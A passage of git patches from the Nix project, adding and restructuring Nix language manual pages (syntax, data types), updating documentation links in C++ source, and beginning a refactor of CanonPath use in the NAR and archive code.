+{ "foo ${bar}" = 123; }."foo ${bar}"
+```
+
+Both will evaluate to `123`.
+
+Attribute names support [string interpolation]:
+
+```nix
+let bar = "foo"; in
+{ foo = 123; }.${bar}
+```
+
+```nix
+let bar = "foo"; in
+{ ${bar} = 123; }.foo
+```
+
+Both will evaluate to `123`.
+
+In the special case where an attribute name inside of a set declaration
+evaluates to `null` (which is normally an error, as `null` cannot be coerced to
+a string), that attribute is simply not added to the set:
+
+```nix
+{ ${if foo then "bar" else null} = true; }
+```
+
+This will evaluate to `{}` if `foo` evaluates to `false`.
+
+A set that has a `__functor` attribute whose value is callable (i.e. is
+itself a function or a set with a `__functor` attribute whose value is
+callable) can be applied as if it were a function, with the set itself
+passed in first , e.g.,
+
+```nix
+let add = { __functor = self: x: x + self.x; };
+    inc = add // { x = 1; };
+in inc 1
+```
+
+evaluates to `2`. This can be used to attach metadata to a function
+without the caller needing to treat it specially, or to implement a form
+of object-oriented programming, for example.
+
+## Recursive sets
+
+Recursive sets are like normal [attribute sets](./types.md#attribute-set), but the attributes can refer to each other.
+
+> *rec-attrset* = `rec {` [ *name* `=` *expr* `;` `]`... `}`
+
+Example:
+
+```nix
+rec {
+  x = y;
+  y = 123;
+}.x
+```
+
+This evaluates to `123`.
+
+Note that without `rec` the binding `x = y;` would
+refer to the variable `y` in the surrounding scope, if one exists, and
+would be invalid if no such variable exists. That is, in a normal
+(non-recursive) set, attributes are not added to the lexical scope; in a
+recursive set, they are.
+
+Recursive sets of course introduce the danger of infinite recursion. For
+example, the expression
+
+```nix
+rec {
+  x = y;
+  y = x;
+}.x
+```
+
+will crash with an `infinite recursion encountered` error message.
+
+## Let-expressions
+
+A let-expression allows you to define local variables for an expression.
+
+> *let-in* = `let` [ *identifier* = *expr* ]... `in` *expr*
+
+Example:
+
+```nix
+let
+  x = "foo";
+  y = "bar";
+in x + y
+```
+
+This evaluates to `"foobar"`.
+
+## Inheriting attributes
+
+When defining an [attribute set](./types.md#attribute-set) or in a [let-expression](#let-expressions) it is often convenient to copy variables from the surrounding lexical scope (e.g., when you want to propagate attributes).
+This can be shortened using the `inherit` keyword.
+
+Example:
+
+```nix
+let x = 123; in
+{
+  inherit x;
+  y = 456;
+}
+```
+
+is equivalent to
+
+```nix
+let x = 123; in
+{
+  x = x;
+  y = 456;
+}
+```
+
+and both evaluate to `{ x = 123; y = 456; }`.
+
+> **Note**
+>
+> This works because `x` is added to the lexical scope by the `let` construct.
+
+It is also possible to inherit attributes from another attribute set.
+
+Example:
+
+In this fragment from `all-packages.nix`,
+
+```nix
+graphviz = (import ../tools/graphics/graphviz) {
+  inherit fetchurl stdenv libpng libjpeg expat x11 yacc;
+  inherit (xorg) libXaw;
+};
+
+xorg = {
+  libX11 = ...;
+  libXaw = ...;
+  ...
+}
+
+libpng = ...;
+libjpg = ...;
+...
+```
+
+the set used in the function call to the function defined in
+`../tools/graphics/graphviz` inherits a number of variables from the
+surrounding scope (`fetchurl` ... `yacc`), but also inherits `libXaw`
+(the X Athena Widgets) from the `xorg` set.
+
+Summarizing the fragment
+
+```nix
+...
+inherit x y z;
+inherit (src-set) a b c;
+...
+```
+
+is equivalent to
+
+```nix
+...
+x = x; y = y; z = z;
+a = src-set.a; b = src-set.b; c = src-set.c;
+...
+```
+
+when used while defining local variables in a let-expression or while
+defining a set.
+
+In a `let` expression, `inherit` can be used to selectively bring specific attributes of a set into scope. For example
+
+
+```nix
+let
+  x = { a = 1; b = 2; };
+  inherit (builtins) attrNames;
+in
+{
+  names = attrNames x;
+}
+```
+
+is equivalent to
+
+```nix
+let
+  x = { a = 1; b = 2; };
+in
+{
+  names = builtins.attrNames x;
+}
+```
+
+both evaluate to `{ names = [ "a" "b" ]; }`.
+
+## Functions
+
+Functions have the following form:
+
+```nix
+pattern: body
+```
+
+The pattern specifies what the argument of the function must look like,
+and binds variables in the body to (parts of) the argument. There are
+three kinds of patterns:
+
+  - If a pattern is a single identifier, then the function matches any
+    argument. Example:
+
+    ```nix
+    let negate = x: !x;
+        concat = x: y: x + y;
+    in if negate true then concat "foo" "bar" else ""
+    ```
+
+    Note that `concat` is a function that takes one argument and returns
+    a function that takes another argument. This allows partial
+    parameterisation (i.e., only filling some of the arguments of a
+    function); e.g.,
+
+    ```nix
+    map (concat "foo") [ "bar" "bla" "abc" ]
+    ```
+
+    evaluates to `[ "foobar" "foobla" "fooabc" ]`.
+
+  - A *set pattern* of the form `{ name1, name2, …, nameN }` matches a
+    set containing the listed attributes, and binds the values of those
+    attributes to variables in the function body. For example, the
+    function
+
+    ```nix
+    { x, y, z }: z + y + x
+    ```
+
+    can only be called with a set containing exactly the attributes `x`,
+    `y` and `z`. No other attributes are allowed. If you want to allow
+    additional arguments, you can use an ellipsis (`...`):
+
+    ```nix
+    { x, y, z, ... }: z + y + x
+    ```
+
+    This works on any set that contains at least the three named
+    attributes.
+
+    It is possible to provide *default values* for attributes, in
+    which case they are allowed to be missing. A default value is
+    specified by writing `name ?  e`, where *e* is an arbitrary
+    expression. For example,
+
+    ```nix
+    { x, y ? "foo", z ? "bar" }: z + y + x
+    ```
+
+    specifies a function that only requires an attribute named `x`, but
+    optionally accepts `y` and `z`.
+
+  - An `@`-pattern provides a means of referring to the whole value
+    being matched:
+
+    ```nix
+    args@{ x, y, z, ... }: z + y + x + args.a
+    ```
+
+    but can also be written as:
+
+    ```nix
+    { x, y, z, ... } @ args: z + y + x + args.a
+    ```
+
+    Here `args` is bound to the argument *as passed*, which is further
+    matched against the pattern `{ x, y, z, ... }`.
+    The `@`-pattern makes mainly sense with an ellipsis(`...`) as
+    you can access attribute names as `a`, using `args.a`, which was
+    given as an additional attribute to the function.
+
+    > **Warning**
+    >
+    > `args@` binds the name `args` to the attribute set that is passed to the function.
+    > In particular, `args` does *not* include any default values specified with `?` in the function's set pattern.
+    >
+    > For instance
+    >
+    > ```nix
+    > let
+    >   f = args@{ a ? 23, ... }: [ a args ];
+    > in
+    >   f {}
+    > ```
+    >
+    > is equivalent to
+    >
+    > ```nix
+    > let
+    >   f = args @ { ... }: [ (args.a or 23) args ];
+    > in
+    >   f {}
+    > ```
+    >
+    > and both expressions will evaluate to:
+    >
+    > ```nix
+    > [ 23 {} ]
+    > ```
+
+Note that functions do not have names. If you want to give them a name,
+you can bind them to an attribute, e.g.,
+
+```nix
+let concat = { x, y }: x + y;
+in concat { x = "foo"; y = "bar"; }
+```
+
+## Conditionals
+
+Conditionals look like this:
+
+```nix
+if e1 then e2 else e3
+```
+
+where *e1* is an expression that should evaluate to a Boolean value
+(`true` or `false`).
+
+## Assertions
+
+Assertions are generally used to check that certain requirements on or
+between features and dependencies hold. They look like this:
+
+```nix
+assert e1; e2
+```
+
+where *e1* is an expression that should evaluate to a Boolean value. If
+it evaluates to `true`, *e2* is returned; otherwise expression
+evaluation is aborted and a backtrace is printed.
+
+Here is a Nix expression for the Subversion package that shows how
+assertions can be used:.
+
+```nix
+{ localServer ? false
+, httpServer ? false
+, sslSupport ? false
+, pythonBindings ? false
+, javaSwigBindings ? false
+, javahlBindings ? false
+, stdenv, fetchurl
+, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null
+}:
+
+assert localServer -> db4 != null; ①
+assert httpServer -> httpd != null && httpd.expat == expat; ②
+assert sslSupport -> openssl != null && (httpServer -> httpd.openssl == openssl); ③
+assert pythonBindings -> swig != null && swig.pythonSupport;
+assert javaSwigBindings -> swig != null && swig.javaSupport;
+assert javahlBindings -> j2sdk != null;
+
+stdenv.mkDerivation {
+  name = "subversion-1.1.1";
+  ...
+  openssl = if sslSupport then openssl else null; ④
+  ...
+}
+```
+
+The points of interest are:
+
+1.  This assertion states that if Subversion is to have support for
+    local repositories, then Berkeley DB is needed. So if the Subversion
+    function is called with the `localServer` argument set to `true` but
+    the `db4` argument set to `null`, then the evaluation fails.
+
+    Note that `->` is the [logical
+    implication](https://en.wikipedia.org/wiki/Truth_table#Logical_implication)
+    Boolean operation.
+
+2.  This is a more subtle condition: if Subversion is built with Apache
+    (`httpServer`) support, then the Expat library (an XML library) used
+    by Subversion should be same as the one used by Apache. This is
+    because in this configuration Subversion code ends up being linked
+    with Apache code, and if the Expat libraries do not match, a build-
+    or runtime link error or incompatibility might occur.
+
+3.  This assertion says that in order for Subversion to have SSL support
+    (so that it can access `https` URLs), an OpenSSL library must be
+    passed. Additionally, it says that *if* Apache support is enabled,
+    then Apache's OpenSSL should match Subversion's. (Note that if
+    Apache support is not enabled, we don't care about Apache's
+    OpenSSL.)
+
+4.  The conditional here is not really related to assertions, but is
+    worth pointing out: it ensures that if SSL support is disabled, then
+    the Subversion derivation is not dependent on OpenSSL, even if a
+    non-`null` value was passed. This prevents an unnecessary rebuild of
+    Subversion if OpenSSL changes.
+
+## With-expressions
+
+A *with-expression*,
+
+```nix
+with e1; e2
+```
+
+introduces the set *e1* into the lexical scope of the expression *e2*.
+For instance,
+
+```nix
+let as = { x = "foo"; y = "bar"; };
+in with as; x + y
+```
+
+evaluates to `"foobar"` since the `with` adds the `x` and `y` attributes
+of `as` to the lexical scope in the expression `x + y`. The most common
+use of `with` is in conjunction with the `import` function. E.g.,
+
+```nix
+with (import ./definitions.nix); ...
+```
+
+makes all attributes defined in the file `definitions.nix` available as
+if they were defined locally in a `let`-expression.
+
+The bindings introduced by `with` do not shadow bindings introduced by
+other means, e.g.
+
+```nix
+let a = 3; in with { a = 1; }; let a = 4; in with { a = 2; }; ...
+```
+
+establishes the same scope as
+
+```nix
+let a = 1; in let a = 2; in let a = 3; in let a = 4; in ...
+```
+
+Variables coming from outer `with` expressions *are* shadowed:
+
+```nix
+with { a = "outer"; };
+with { a = "inner"; };
+a
+```
+
+Does evaluate to `"inner"`.
+
+## Comments
+
+- Inline comments start with `#` and run until the end of the line.
+
+  > **Example**
+  >
+  > ```nix
+  > # A number
+  > 2 # Equals 1 + 1
+  > ```
+  >
+  > ```console
+  > 2
+  > ```
+
+- Block comments start with `/*` and run until the next occurrence of `*/`.
+
+  > **Example**
+  >
+  > ```nix
+  > /*
+  > Block comments
+  > can span multiple lines.
+  > */ "hello"
+  > ```
+  >
+  > ```console
+  > "hello"
+  > ```
+
+  This means that block comments cannot be nested.
+
+  > **Example**
+  >
+  > ```nix
+  > /* /* nope */ */ 1
+  > ```
+  >
+  > ```console
+  > error: syntax error, unexpected '*'
+  >
+  >        at «string»:1:15:
+  >
+  >             1| /* /* nope */ *
+  >              |               ^
+  > ```
+
+  Consider escaping nested comments and unescaping them in post-processing.
+
+  > **Example**
+  >
+  > ```nix
+  > /* /* nested *\/ */ 1
+  > ```
+  >
+  > ```console
+  > 1
+  > ```
diff --git a/doc/manual/src/language/types.md b/doc/manual/src/language/types.md
new file mode 100644
index 00000000000..1b3e6b24793
--- /dev/null
+++ b/doc/manual/src/language/types.md
@@ -0,0 +1,91 @@
+# Data Types
+
+Every value in the Nix language has one of the following types:
+
+* [Integer](#type-int)
+* [Float](#type-float)
+* [Boolean](#type-bool)
+* [String](#type-string)
+* [Path](#type-path)
+* [Null](#type-null)
+* [Attribute set](#type-attrs)
+* [List](#type-list)
+* [Function](#type-function)
+* [External](#type-external)
+
+## Primitives
+
+### Integer {#type-int}
+
+An _integer_ in the Nix language is a signed 64-bit integer.
+
+Non-negative integers can be expressed as [integer literals](syntax.md#number-literal).
+Negative integers are created with the [arithmetic negation operator](./operators.md#arithmetic).
+The function [`builtins.isInt`](builtins.md#builtins-isInt) can be used to determine if a value is an integer.
+
+### Float {#type-float}
+
+A _float_ in the Nix language is a 64-bit [IEEE 754](https://en.wikipedia.org/wiki/IEEE_754) floating-point number.
+
+Most non-negative floats can be expressed as [float literals](syntax.md#number-literal).
+Negative floats are created with the [arithmetic negation operator](./operators.md#arithmetic).
+The function [`builtins.isFloat`](builtins.md#builtins-isFloat) can be used to determine if a value is a float.
+
+### Boolean {#type-bool}
+
+A _boolean_ in the Nix language is one of _true_ or _false_.
+
+<!-- TODO: mention the top-level environment -->
+
+These values are available as attributes of [`builtins`](builtin-constants.md#builtins-builtins) as [`builtins.true`](builtin-constants.md#builtins-true) and [`builtins.false`](builtin-constants.md#builtins-false).
+The function [`builtins.isBool`](builtins.md#builtins-isBool) can be used to determine if a value is a boolean.
+
+### String {#type-string}
+
+A _string_ in the Nix language is an immutable, finite-length sequence of bytes, along with a [string context](string-context.md).
+Nix does not assume or support working natively with character encodings.
+
+String values without string context can be expressed as [string literals](syntax.md#string-literal).
+The function [`builtins.isString`](builtins.md#builtins-isString) can be used to determine if a value is a string.
+
+### Path {#type-path}
+
+<!-- TODO(@rhendric, #10970): Incorporate content from syntax.md#path-literal -->
+
+The function [`builtins.isPath`](builtins.md#builtins-isPath) can be used to determine if a value is a path.
+
+### Null {#type-null}
+
+There is a single value of type _null_ in the Nix language.
+
+<!-- TODO: mention the top-level environment -->
+
+This value is available as an attribute on the [`builtins`](builtin-constants.md#builtins-builtins) attribute set as [`builtins.null`](builtin-constants.md#builtins-null).
+
+## Compound values
+
+### Attribute set {#type-attrs}
+
+<!-- TODO(@rhendric, #10970): fill this out -->
+
+An attribute set can be constructed with an [attribute set literal](syntax.md#attrs-literal).
+The function [`builtins.isAttrs`](builtins.md#builtins-isAttrs) can be used to determine if a value is an attribute set.
+
+### List {#type-list}
+
+<!-- TODO(@rhendric, #10970): fill this out -->
+
+A list can be constructed with a [list literal](syntax.md#list-literal).
+The function [`builtins.isList`](builtins.md#builtins-isList) can be used to determine if a value is a list.
+
+## Function {#type-function}
+
+<!-- TODO(@rhendric, #10970): fill this out -->
+
+A function can be constructed with a [function expression](syntax.md#functions).
+The function [`builtins.isFunction`](builtins.md#builtins-isFunction) can be used to determine if a value is a function.
+
+## External {#type-external}
+
+An _external_ value is an opaque value created by a Nix [plugin](../command-ref/conf-file.md#conf-plugin-files).
+Such a value can be substituted in Nix expressions but only created and used by plugin code.
diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md
deleted file mode 100644
index ddd55a47e18..00000000000
--- a/doc/manual/src/language/values.md
+++ /dev/null
@@ -1,374 +0,0 @@
-# Data Types
-
-## Primitives
-
-- <a id="type-string" href="#type-string">String</a>
-
-  *Strings* can be written in three ways.
-
-  The most common way is to enclose the string between double quotes, e.g., `"foo bar"`.
-  Strings can span multiple lines.
-  The results of other expressions can be included into a string by enclosing them in `${ }`, a feature known as [string interpolation].
-
-  [string interpolation]: ./string-interpolation.md
-
-  The following must be escaped to represent them within a string, by prefixing with a backslash (`\`):
-
-  - Double quote (`"`)
-
-    > **Example**
-    >
-    > ```nix
-    > "\""
-    > ```
-    >
-    >    "\""
-
-  - Backslash (`\`)
-
-    > **Example**
-    >
-    > ```nix
-    > "\\"
-    > ```
-    >
-    >    "\\"
-
-  - Dollar sign followed by an opening curly bracket (`${`) – "dollar-curly"
-
-    > **Example**
-    >
-    > ```nix
-    > "\${"
-    > ```
-    >
-    >    "\${"
-
-  The newline, carriage return, and tab characters can be written as `\n`, `\r` and `\t`, respectively.
-
-  A "double-dollar-curly" (`$${`) can be written literally.
-
-  > **Example**
-  >
-  > ```nix
-  > "$${"
-  > ```
-  >
-  >    "$\${"
-
-  String values are output on the terminal with Nix-specific escaping.
-  Strings written to files will contain the characters encoded by the escaping.
-
-  The second way to write string literals is as an *indented string*, which is enclosed between pairs of *double single-quotes* (`''`), like so:
-
-  ```nix
-  ''
-    This is the first line.
-    This is the second line.
-      This is the third line.
-  ''
-  ```
-
-  This kind of string literal intelligently strips indentation from
-  the start of each line. To be precise, it strips from each line a
-  number of spaces equal to the minimal indentation of the string as a
-  whole (disregarding the indentation of empty lines). For instance,
-  the first and second line are indented two spaces, while the third
-  line is indented four spaces. Thus, two spaces are stripped from
-  each line, so the resulting string is
-
-  ```nix
-  "This is the first line.\nThis is the second line.\n  This is the third line.\n"
-  ```
-
-  > **Note**
-  >
-  > Whitespace and newline following the opening `''` is ignored if there is no non-whitespace text on the initial line.
-
-  > **Warning**
-  >
-  > Prefixed tab characters are not stripped.
-  >
-  > > **Example**
-  > >
-  > > The following indented string is prefixed with tabs:
-  > >
-  > > ''
-  > > 	all:
-  > > 		@echo hello
-  > > ''
-  > >
-  > >     "\tall:\n\t\t@echo hello\n"
-
-  Indented strings support [string interpolation].
-
-  The following must be escaped to represent them in an indented string:
-
-  - `$` is escaped by prefixing it with two single quotes (`''`)
-
-    > **Example**
-    >
-    > ```nix
-    > ''
-    >   ''$
-    > ''
-    > ```
-    >
-    >     "$\n"
-
-  - `''` is escaped by prefixing it with one single quote (`'`)
-
-    > **Example**
-    >
-    > ```nix
-    > ''
-    >   '''
-    > ''
-    > ```
-    >
-    >     "''\n"
-
-  These special characters are escaped as follows:
-  - Linefeed (`\n`): `''\n`
-  - Carriage return (`\r`): `''\r`
-  - Tab (`\t`): `''\t`
-
-  `''\` escapes any other character.
-
-  A "double-dollar-curly" (`$${`) can be written literally.
-
-  > **Example**
-  >
-  > ```nix
-  > ''
-  >   $${
-  > ''
-  > ```
-  >
-  >     "$\${\n"
-
-  Indented strings are primarily useful in that they allow multi-line
-  string literals to follow the indentation of the enclosing Nix
-  expression, and that less escaping is typically necessary for
-  strings representing languages such as shell scripts and
-  configuration files because `''` is much less common than `"`.
-  Example:
-
-  ```nix
-  stdenv.mkDerivation {
-    ...
-    postInstall =
-      ''
-        mkdir $out/bin $out/etc
-        cp foo $out/bin
-        echo "Hello World" > $out/etc/foo.conf
-        ${if enableBar then "cp bar $out/bin" else ""}
-      '';
-    ...
-  }
-  ```
-
-  Finally, as a convenience, *URIs* as defined in appendix B of
-  [RFC 2396](http://www.ietf.org/rfc/rfc2396.txt) can be written *as
-  is*, without quotes. For instance, the string
-  `"http://example.org/foo.tar.bz2"` can also be written as
-  `http://example.org/foo.tar.bz2`.
-
-- <a id="type-number" href="#type-number">Number</a>
-
-  Numbers, which can be *integers* (like `123`) or *floating point*
-  (like `123.43` or `.27e13`).
-
-  See [arithmetic] and [comparison] operators for semantics.
-
-  [arithmetic]: ./operators.md#arithmetic
-  [comparison]: ./operators.md#comparison
-
-- <a id="type-path" href="#type-path">Path</a>
-
-  *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`.
-
-  Paths are suitable for referring to local files, and are often preferable over strings.
-  - Path values do not contain trailing slashes, `.` and `..`, as they are resolved when evaluating a path literal.
-  - Path literals are automatically resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory).
-  - The files referred to by path values are automatically copied into the Nix store when used in a string interpolation or concatenation.
-  - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file.
-
-  A path literal must contain at least one slash to be recognised as such.
-  For instance, `builder.sh` is not a path:
-  it's parsed as an expression that selects the attribute `sh` from the variable `builder`.
-
-  Path literals may also refer to absolute paths by starting with a slash.
-
-  > **Note**
-  >
-  > Absolute paths make expressions less portable.
-  > In the case where a function translates a path literal into an absolute path string for a configuration file, it is recommended to write a string literal instead.
-  > This avoids some confusion about whether files at that location will be used during evaluation.
-  > It also avoids unintentional situations where some function might try to copy everything at the location into the store.
-
-  If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory.
-  For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`.
-  Path literals that start with `~` are not allowed in [pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation.
-
-  Paths can be used in [string interpolation] and string concatenation.
-  For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/<hash>-foo.txt"`.
-
-  Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression.
-  For example, assume you used a file path in an interpolated string during a `nix repl` session.
-  Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed.
-
-  [store path]: @docroot@/store/store-path.md
-
-  Path literals can also include [string interpolation], besides being [interpolated into other expressions].
-
-  [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions
-
-  At least one slash (`/`) must appear *before* any interpolated expression for the result to be recognized as a path.
-
-  `a.${foo}/b.${bar}` is a syntactically valid number division operation.
-  `./a.${foo}/b.${bar}` is a path.
-
-  [Lookup path](./constructs/lookup-path.md) literals such as `<nixpkgs>` also resolve to path values.
-
-- <a id="type-boolean" href="#type-boolean">Boolean</a>
-
-  *Booleans* with values `true` and `false`.
-
-- <a id="type-null" href="#type-null">Null</a>
-
-  The null value, denoted as `null`.
-
-## List
-
-Lists are formed by enclosing a whitespace-separated list of values
-between square brackets. For example,
-
-```nix
-[ 123 ./foo.nix "abc" (f { x = y; }) ]
-```
-
-defines a list of four elements, the last being the result of a call to
-the function `f`. Note that function calls have to be enclosed in
-parentheses. If they had been omitted, e.g.,
-
-```nix
-[ 123 ./foo.nix "abc" f { x = y; } ]
-```
-
-the result would be a list of five elements, the fourth one being a
-function and the fifth being a set.
-
-Note that lists are only lazy in values, and they are strict in length.
-
-Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt).
-
-## Attribute Set
-
-An attribute set is a collection of name-value-pairs (called *attributes*) enclosed in curly brackets (`{ }`).
-
-An attribute name can be an identifier or a [string](#string).
-An identifier must start with a letter (`a-z`, `A-Z`) or underscore (`_`), and can otherwise contain letters (`a-z`, `A-Z`), numbers (`0-9`), underscores (`_`), apostrophes (`'`), or dashes (`-`).
-
-> **Syntax**
->
-> *name* = *identifier* | *string* \
-> *identifier* ~ `[a-zA-Z_][a-zA-Z0-9_'-]*`
-
-Names and values are separated by an equal sign (`=`).
-Each value is an arbitrary expression terminated by a semicolon (`;`).
-
-> **Syntax**
->
-> *attrset* = `{` [ *name* `=` *expr* `;` ]... `}`
-
-Attributes can appear in any order.
-An attribute name may only occur once.
-
-Example:
-
-```nix
-{
-  x = 123;
-  text = "Hello";
-  y = f { bla = 456; };
-}
-```
-
-This defines a set with attributes named `x`, `text`, `y`.
-
-Attributes can be accessed with the [`.` operator](./operators.md#attribute-selection).
-
-Example:
-
-```nix
-{ a = "Foo"; b = "Bar"; }.a
-```
-
-This evaluates to `"Foo"`.
-
-It is possible to provide a default value in an attribute selection using the `or` keyword.
-
-Example:
-
-```nix
-{ a = "Foo"; b = "Bar"; }.c or "Xyzzy"
-```
-
-```nix
-{ a = "Foo"; b = "Bar"; }.c.d.e.f.g or "Xyzzy"
-```
-
-will both evaluate to `"Xyzzy"` because there is no `c` attribute in the set.
-
-You can use arbitrary double-quoted strings as attribute names:
-
-```nix
-{ "$!@#?" = 123; }."$!@#?"
-```
-
-```nix
-let bar = "bar"; in
-{ "foo ${bar}" = 123; }."foo ${bar}"
-```
-
-Both will evaluate to `123`.
-
-Attribute names support [string interpolation]:
-
-```nix
-let bar = "foo"; in
-{ foo = 123; }.${bar}
-```
-
-```nix
-let bar = "foo"; in
-{ ${bar} = 123; }.foo
-```
-
-Both will evaluate to `123`.
-
-In the special case where an attribute name inside of a set declaration
-evaluates to `null` (which is normally an error, as `null` cannot be coerced to
-a string), that attribute is simply not added to the set:
-
-```nix
-{ ${if foo then "bar" else null} = true; }
-```
-
-This will evaluate to `{}` if `foo` evaluates to `false`.
-
-A set that has a `__functor` attribute whose value is callable (i.e. is
-itself a function or a set with a `__functor` attribute whose value is
-callable) can be applied as if it were a function, with the set itself
-passed in first , e.g.,
-
-```nix
-let add = { __functor = self: x: x + self.x; };
-    inc = add // { x = 1; };
-in inc 1
-```
-
-evaluates to `2`. This can be used to attach metadata to a function
-without the caller needing to treat it specially, or to implement a form
-of object-oriented programming, for example.
diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc
index 393fed532dc..01546f9a0bd 100644
--- a/src/libcmd/common-eval-args.cc
+++ b/src/libcmd/common-eval-args.cc
@@ -74,7 +74,7 @@ MixEvalArgs::MixEvalArgs()
         .description = R"(
   Add *path* to the Nix search path. The Nix search path is
   initialized from the colon-separated [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH) environment
-  variable, and is used to look up the location of Nix expressions using [paths](@docroot@/language/values.md#type-path) enclosed in angle
+  variable, and is used to look up the location of Nix expressions using [paths](@docroot@/language/types.md#type-path) enclosed in angle
   brackets (i.e., `<nixpkgs>`).
 
   For instance, passing
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 08f719f0fdf..7a946bdaac3 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -732,11 +732,12 @@ static RegisterPrimOp primop_genericClosure(PrimOp {
       Each attribute set in the list `startSet` and the list returned by `operator` must have an attribute `key`, which must support equality comparison.
       The value of `key` can be one of the following types:
 
-      - [Number](@docroot@/language/values.md#type-number)
-      - [Boolean](@docroot@/language/values.md#type-boolean)
-      - [String](@docroot@/language/values.md#type-string)
-      - [Path](@docroot@/language/values.md#type-path)
-      - [List](@docroot@/language/values.md#list)
+      - [Int](@docroot@/language/types.md#type-int)
+      - [Float](@docroot@/language/types.md#type-float)
+      - [Boolean](@docroot@/language/types.md#type-boolean)
+      - [String](@docroot@/language/types.md#type-string)
+      - [Path](@docroot@/language/types.md#type-path)
+      - [List](@docroot@/language/types.md#list)
 
       The result is produced by calling the `operator` on each `item` that has not been called yet, including newly added items, until no new items are added.
       Items are compared by their `key` attribute.
@@ -1709,7 +1710,7 @@ static RegisterPrimOp primop_baseNameOf({
     .name = "baseNameOf",
     .args = {"x"},
     .doc = R"(
-      Return the *base name* of either a [path value](@docroot@/language/values.md#type-path) *x* or a string *x*, depending on which type is passed, and according to the following rules.
+      Return the *base name* of either a [path value](@docroot@/language/types.md#type-path) *x* or a string *x*, depending on which type is passed, and according to the following rules.
 
       For a path value, the *base name* is considered to be the part of the path after the last directory separator, including any file extensions.
       This is the simple case, as path values don't have trailing slashes.
@@ -1843,7 +1844,7 @@ static RegisterPrimOp primop_findFile(PrimOp {
     .doc = R"(
       Find *lookup-path* in *search-path*.
 
-      A search path is represented list of [attribute sets](./values.md#attribute-set) with two attributes:
+      A search path is represented list of [attribute sets](./types.md#attribute-set) with two attributes:
       - `prefix` is a relative path.
       - `path` denotes a file system location
       The exact syntax depends on the command line interface.
@@ -1864,7 +1865,7 @@ static RegisterPrimOp primop_findFile(PrimOp {
         }
         ```
 
-      The lookup algorithm checks each entry until a match is found, returning a [path value](@docroot@/language/values.html#type-path) of the match:
+      The lookup algorithm checks each entry until a match is found, returning a [path value](@docroot@/language/types.md#type-path) of the match:
 
       - If *lookup-path* matches `prefix`, then the remainder of *lookup-path* (the "suffix") is searched for within the directory denoted by `path`.
         Note that the `path` may need to be downloaded at this point to look inside.
@@ -2292,7 +2293,7 @@ static RegisterPrimOp primop_toFile({
       ```
 
       Note that `${configFile}` is a
-      [string interpolation](@docroot@/language/values.md#type-string), so the result of the
+      [string interpolation](@docroot@/language/types.md#type-string), so the result of the
       expression `configFile`
       (i.e., a path like `/nix/store/m7p7jfny445k...-foo.conf`) will be
       spliced into the resulting string.
@@ -4538,7 +4539,7 @@ void EvalState::createBaseEnv()
           It can be returned by
           [comparison operators](@docroot@/language/operators.md#Comparison)
           and used in
-          [conditional expressions](@docroot@/language/constructs.md#Conditionals).
+          [conditional expressions](@docroot@/language/syntax.md#Conditionals).
 
           The name `true` is not special, and can be shadowed:
 
@@ -4558,7 +4559,7 @@ void EvalState::createBaseEnv()
           It can be returned by
           [comparison operators](@docroot@/language/operators.md#Comparison)
           and used in
-          [conditional expressions](@docroot@/language/constructs.md#Conditionals).
+          [conditional expressions](@docroot@/language/syntax.md#Conditionals).
 
           The name `false` is not special, and can be shadowed:
 

From 2cf24a2df0f07479be57afe2391da2ae3d25be10 Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Wed, 3 Jul 2024 17:34:02 +0530
Subject: [PATCH 495/528] fix tests and minor changes

- use the iterator in `CanonPath` to count `level`
- use the `CanonPath::basename` method
- use `CanonPath::root` instead of `CanonPath{""}`
- remove `Path` and `PathView`, use `std::filesystem::path` directly
---
 src/libstore/nar-accessor.cc |  6 ++++--
 src/libutil/archive.cc       |  4 ++--
 src/libutil/archive.hh       |  2 +-
 src/libutil/file-system.cc   |  2 +-
 src/libutil/fs-sink.cc       | 12 +++++++++---
 src/libutil/git.cc           |  2 +-
 tests/unit/libutil/git.cc    |  6 +++---
 7 files changed, 21 insertions(+), 13 deletions(-)

diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc
index 33dde48e5bb..b1079b027d6 100644
--- a/src/libstore/nar-accessor.cc
+++ b/src/libstore/nar-accessor.cc
@@ -73,7 +73,9 @@ struct NarAccessor : public SourceAccessor
 
         NarMember & createMember(const CanonPath & path, NarMember member)
         {
-            size_t level = std::count(path.rel().begin(), path.rel().end(), '/');
+            size_t level = 0;
+            for (auto _ : path) ++level;
+
             while (parents.size() > level) parents.pop();
 
             if (parents.empty()) {
@@ -83,7 +85,7 @@ struct NarAccessor : public SourceAccessor
             } else {
                 if (parents.top()->stat.type != Type::tDirectory)
                     throw Error("NAR file missing parent directory of path '%s'", path);
-                auto result = parents.top()->children.emplace(baseNameOf(path.rel()), std::move(member));
+                auto result = parents.top()->children.emplace(*path.baseName(), std::move(member));
                 auto & ref = result.first->second;
                 parents.push(&ref);
                 return ref;
diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc
index 3693a1ffd50..e2ebcda0c57 100644
--- a/src/libutil/archive.cc
+++ b/src/libutil/archive.cc
@@ -290,11 +290,11 @@ void parseDump(FileSystemObjectSink & sink, Source & source)
     }
     if (version != narVersionMagic1)
         throw badArchive("input doesn't look like a Nix archive");
-    parse(sink, source, CanonPath{""});
+    parse(sink, source, CanonPath::root);
 }
 
 
-void restorePath(const Path & path, Source & source)
